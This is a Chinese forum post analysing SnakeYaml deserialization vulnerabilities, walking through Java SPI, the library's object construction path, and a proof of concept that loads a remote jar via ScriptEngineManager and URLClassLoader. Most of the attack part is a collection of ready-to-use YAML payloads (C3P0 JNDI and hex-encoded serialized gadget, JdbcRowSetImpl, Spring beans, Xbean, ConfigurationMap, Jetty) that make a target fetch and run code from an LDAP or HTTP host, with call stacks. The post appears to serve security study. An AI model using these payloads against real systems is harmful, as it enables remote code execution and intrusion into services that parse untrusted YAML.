SnakeYaml反序列化分析

打印 上一主题 下一主题

主题 867|帖子 867|积分 2601

前言

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。
环境搭建
  1. <dependency>
  2.   <groupId>org.yaml</groupId>
  3.   <artifactId>snakeyaml</artifactId>
  4.   <version>1.32</version>
  5. </dependency>
复制代码
SPI机制

介绍

SPI机制就是,服务端提供接口类和探求服务的功能,客户端用户这边根据服务端提供的接口类来定义详细的实现类,然后服务端会在加载该实现类的时候去探求该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务探求功能、详细的实现类由客户端实现并调用。
例子

准备一个接口
  1. package com.ctf.Impl;
  2. public interface Shopping {
  3.     String buyMask();
  4. }
复制代码
准备两个实现类
  1. package com.ctf;
  2. import com.ctf.Impl.Shopping;
  3. public class BuyN95 implements Shopping {
  4.     @Override
  5.     public String buyMask() {
  6.         return "Buy N95";
  7.     }
  8. }
复制代码
  1. package com.ctf;
  2. import com.ctf.Impl.Shopping;
  3. public class BuyNormal implements Shopping {
  4.     @Override
  5.     public String buyMask() {
  6.         return "Buy Normal";
  7.     }
  8. }
复制代码
在resources目录下新建目录META-INF/services,在services目录下建一个配置文件,配置文件名为接口类的路径+名称,好比我的就是com.ctf.Impl.Shopping,写入两个实现类路径

然后把项目打包成jar包,File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies,记得选择把META-INF添加,Build Artifacts

out目录下有jar包,这时新建一个项目,把天生的jar包作为依赖导入

我们可以把上面天生的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar,然后下面写入的测试代码,就是服务端的代码,服务端引入了jar包和其中的META-INF/services下的配置文件,通过ServiceLoader.load执行了相关操作。
Setter

准备一个POJO
  1. package com.ctf.POJO;
  2. public class User {
  3.     String name;
  4.     int age;
  5.     public User() {
  6.         System.out.println("User构造函数");
  7.     }
  8.     public String getName() {
  9.         System.out.println("User.getName");
  10.         return name;
  11.     }
  12.     public void setName(String name) {
  13.         System.out.println("User.setName");
  14.         this.name = name;
  15.     }
  16.     public int getAge() {
  17.         System.out.println("User.getAge");
  18.         return age;
  19.     }
  20.     public void setAge(int age) {
  21.         System.out.println("User.setAge");
  22.         this.age = age;
  23.     }
  24. }
复制代码
序列化流程
  1. package com.ctf;
  2. import com.ctf.POJO.User;
  3. import org.yaml.snakeyaml.Yaml;
  4. public class SetterPoc {
  5.     public static void main(String[] args) {
  6.         User user = new User();
  7.         user.setName("F12");
  8.         user.setAge(20);
  9.         String str = serialize(user);
  10.         System.out.println(str);
  11.     }
  12.     public static String serialize(Object obj){
  13.         Yaml yaml = new Yaml();
  14.         return yaml.dump(obj);
  15.     }
  16.     public static String unserialize(String str){
  17.         Yaml yaml = new Yaml();
  18.         return yaml.load(str);
  19.     }
  20. }
复制代码
getter和setter都调用了

反序列化流程
  1. package com.ctf;
  2. import com.ctf.POJO.User;
  3. import org.yaml.snakeyaml.Yaml;
  4. public class SetterPoc {
  5.     public static void main(String[] args) {
  6.         User user = new User();
  7.         user.setName("F12");
  8.         user.setAge(20);
  9.         //        String str = serialize(user);
  10.         //        System.out.println(str);
  11.         unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
  12.     }
  13.     public static String serialize(Object obj){
  14.         Yaml yaml = new Yaml();
  15.         return yaml.dump(obj);
  16.     }
  17.     public static String unserialize(String str){
  18.         Yaml yaml = new Yaml();
  19.         return yaml.load(str);
  20.     }
  21. }
复制代码
只调用了setter

SnakeYaml反序列化漏洞

影响版本:1.33以下的全版本
攻击测试

github有个写好的SPI:https://github.com/artsploit/yaml-payload/tree/master,打包成jar包就行
  1. package com.ctf;
  2. import org.yaml.snakeyaml.Yaml;
  3. public class POC {
  4.     public static void main(String[] args) {
  5.         String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8000/yaml-payload.jar"]]]]";
  6.         Yaml yaml = new Yaml();
  7.         yaml.load(poc);
  8.     }
  9. }
复制代码

流程分析

load处打断点,跟进

跟进loadFromReader

跟进getSingleData

这里对tag进行了修改,变为一种yaml规范的格式,这个是个重点,先记住,跟进constructDocument方法


跟进constructObject方法

跟进check

可以看出是要准备实例化了,进入constructor.construct

继续跟进construct,代码有点多,看重点代码
  1. for (Node argumentNode : snode.getValue()) {
  2.     Class<?> type = c.getParameterTypes()[index];
  3.     // set runtime classes for arguments
  4.     argumentNode.setType(type);
  5.     argumentList[index++] = constructObject(argumentNode);
  6. }
复制代码
这里value有一个嵌套,他会一层层的往里去实例化,最后分别作为各自的参数,好比UrlClassLoader是ScriptEngine的参数,Url是UrlCLassLoader的参数。然后实例化的顺序是从URL->URLCLASSLOADER->ScriptEngine顺序去实例化的

最后会实例化

因为有个迭代,迭代完才气到这里实例化,所以我们直接在ScriptEngineManage的实例化方法给断点

跟进init方法

跟进initEngines方法

这里调用ServiceLoader

这里就会去加载用户自定义的实现类,也就会触发我们写的恶意类
男男搭配,干活不累

干活不累,但是调试很累,所以师傅们自己调试吧,就不写上面了
SnakeYaml+C3P0

之前研究过C3P0,有两条链,不出网的是HEX,出网的是JNDI,放payload
JNDI(对应setJndiName)
  1. !!com.mchange.v2.c3p0.JndiRefForwardingDataSource
  2.   jndiName: "ldap://localhost:1099/Exploit"
  3.   loginTimeout: 0
复制代码
HEX(对应实例化方法)
  1. !!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  2.   userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"
复制代码
SnakeYaml+JdbcRowSetImpl
  1. !!com.sun.rowset.JdbcRowSetImpl
  2.   dataSourceName: "ldap://localhost:1389/Exploit"
  3.   autoCommit: true
复制代码
SnakeYaml+PropertyPathFactoryBean
  1. !!org.springframework.beans.factory.config.PropertyPathFactoryBean
  2.   targetBeanName: "ldap://localhost:1389/Exploit"
  3.   propertyPath: mi1k7ea
  4.   beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
  5.                  shareableResources: ["ldap://localhost:1389/Exploit"]
复制代码
调用栈
  1. lookup:92, JndiLocatorSupport (org.springframework.jndi)
  2. doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
  3. getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
  4. getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
  5. setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
  6. invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
  7. invoke:62, NativeMethodAccessorImpl (sun.reflect)
  8. invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
  9. invoke:497, Method (java.lang.reflect)
  10. set:77, MethodProperty (org.yaml.snakeyaml.introspector)
  11. constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
  12. construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
  13. construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
  14. constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
  15. constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
  16. constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
  17. getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
  18. loadFromReader:525, Yaml (org.yaml.snakeyaml)
  19. load:453, Yaml (org.yaml.snakeyaml)
复制代码
SnakeYaml+DefaultBeanFactoryPointcutAdvisor
  1. !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
  2.   adviceBeanName: "ldap://localhost:1389/Exploit"
  3.   beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
  4.                  shareableResources: ["ldap://localhost:1389/Exploit"]
复制代码
SnakeYaml+Xbean
  1. !!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]
复制代码
这个利用BadAttibute的构造方法触发Xbean的toString
SnakeYaml+ConfigurationMap
  1. !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]
复制代码
调用栈:
  1. getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
  2. getObjectInstance:189, DirectoryManager (javax.naming.spi)
  3. c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
  4. p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
  5. lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
  6. lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
  7. lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
  8. lookup:417, InitialContext (javax.naming)
  9. getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
  10. getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
  11. getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
  12. <init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
  13. <init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
  14. iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
  15. hashCode:528, AbstractMap (java.util)
  16. constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
  17. constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
  18. constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
  19. construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
  20. constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
  21. constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
  22. getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
  23. loadFromReader:450, Yaml (org.yaml.snakeyaml)
  24. load:369, Yaml (org.yaml.snakeyaml)
复制代码
SnakeYaml+Jetty
  1. [!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]
复制代码
  1. <init>:2, Exploit
  2. newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
  3. newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
  4. newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
  5. newInstance:422, Constructor (java.lang.reflect)
  6. newInstance:442, Class (java.lang)
  7. getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
  8. getObjectInstance:319, NamingManager (javax.naming.spi)
  9. lookup:503, NamingContext (org.eclipse.jetty.jndi)
  10. lookup:578, NamingContext (org.eclipse.jetty.jndi)
  11. bind:69, NamingUtil (org.eclipse.jetty.jndi)
  12. save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
  13. <init>:39, Resource (org.eclipse.jetty.plus.jndi)
  14. newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
  15. newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
  16. newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
  17. newInstance:422, Constructor (java.lang.reflect)
  18. construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
  19. construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
  20. constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
  21. constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
  22. constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
  23. constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
  24. construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
  25. constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
  26. constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
  27. constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
  28. getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
  29. loadFromReader:525, Yaml (org.yaml.snakeyaml)
  30. load:453, Yaml (org.yaml.snakeyaml)
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

没腿的鸟

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表